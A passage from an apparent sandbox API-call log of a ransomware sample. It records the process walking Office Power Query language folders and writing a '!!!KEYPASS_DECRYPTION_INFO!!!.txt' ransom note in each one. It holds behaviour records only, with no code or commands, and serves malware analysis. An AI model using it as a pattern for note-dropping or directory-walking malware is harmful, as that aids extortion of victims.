(pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.931] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.932] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.932] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.932] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.932] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.932] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.932] FindNextFileW (in: hFindFile=0x2ef9588, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.932] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.932] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.932] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.932] GetLastError () returned 0x3f0 [0246.932] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.932] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0246.975] GetFileType (hFile=0x6b4) returned 0x1 [0246.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.975] WriteFile (in: hFile=0x6b4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.976] WriteFile (in: hFile=0x6b4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.976] CloseHandle (hObject=0x6b4) returned 1 [0246.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef99c8 [0246.976] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.977] FindNextFileW (in: hFindFile=0x2ef99c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.977] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.977] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.977] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.978] GetLastError () returned 0x3f0 [0246.978] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.978] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0247.024] GetFileType (hFile=0x6b8) returned 0x1 [0247.024] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.024] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.024] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.024] WriteFile (in: hFile=0x6b8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.025] WriteFile (in: hFile=0x6b8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.025] CloseHandle (hObject=0x6b8) returned 1 [0247.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9648 [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.026] FindNextFileW (in: hFindFile=0x2ef9648, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.026] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.026] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.027] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.027] GetLastError () returned 0x3f0 [0247.027] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.027] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hy\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0247.043] GetFileType (hFile=0x6b0) returned 0x1 [0247.043] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.043] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.043] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.044] WriteFile (in: hFile=0x6b0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.045] WriteFile (in: hFile=0x6b0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.045] CloseHandle (hObject=0x6b0) returned 1 [0247.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9d08 [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.046] FindNextFileW (in: hFindFile=0x2ef9d08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.046] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.093] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.094] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.094] GetLastError () returned 0x3f0 [0247.094] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.094] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0247.124] GetFileType (hFile=0x6c0) returned 0x1 [0247.124] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.124] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.125] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.125] WriteFile (in: hFile=0x6c0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.125] WriteFile (in: hFile=0x6c0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.125] CloseHandle (hObject=0x6c0) returned 1 [0247.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9e88 [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.126] FindNextFileW (in: hFindFile=0x2ef9e88, 